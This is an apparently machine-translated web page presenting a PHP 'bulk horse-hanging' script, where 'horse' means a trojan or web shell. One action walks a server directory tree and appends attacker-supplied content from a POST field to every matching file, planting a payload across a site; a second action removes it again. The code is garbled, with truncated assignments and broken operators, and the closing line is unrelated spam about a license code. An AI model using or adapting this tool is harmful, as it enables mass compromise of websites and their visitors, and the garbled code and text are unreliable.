Copy CodeThe code is as follows:
function Gmfun ($path = ".")
{
$d = @dir ($path);
while (false!== ($v = $d->read ())) {
if ($v = = "." | | $v = = "..") continue;
$file = $d->path. " /". $v;
if (@is_dir ($file)) {
Gmfun ($file);
} else {
if (@ereg (Stripslashes ($_post["key"), $file)) {
$MM =stripcslashes (Trim ($_post[mm));
$handle = @fopen ("$file", "a");
@fwrite ($handle, "$mm");
@fclose ($handle);
echo "Mounted horse file: $file \ n
”;
}
}
}
$d->close ();
echo "";
}
function Qmfun ($path = ".")
{
$d = @dir ($path);
while (false!== ($v = $d->read ())) {
if ($v = = "." | | $v = = "..") continue;
$file = $d->path. " /". $v;
if (@is_dir ($file)) {
Qmfun ($file);
} else {
if (@ereg (Stripslashes ($_post["key"), $file)) {
$MM =stripcslashes (Trim ($_post[mm));
$handle = fopen ("$file", "RB");
$oldc
Fclose ($handle);
$newc
$FW = fopen ("$file", "WB");
Fwrite ($FW, $newcontent, strlen ($newcontent));
Fclose ($FW);
echo "Cleared horse file: $file \ n
”;
}
}
}
$d->close ();
echo "";
}
if ($_get[' action ']== ' GM ') {
Set_time_limit (0);
Gmfun ($_post["dir"]);
}
if ($_get[' action ']== ' QM ') {
Set_time_limit (0);
Qmfun ($_post["dir"]);
}
?>
<title>Bulk horse-hung (Clear Horse) program PHP version</title>
The above describes the Acdsee12 license code PHP under the bulk of the horse and the bulk of the code, including the Acdsee12 license code content, I hope that the PHP tutorial interested in a friend helpful.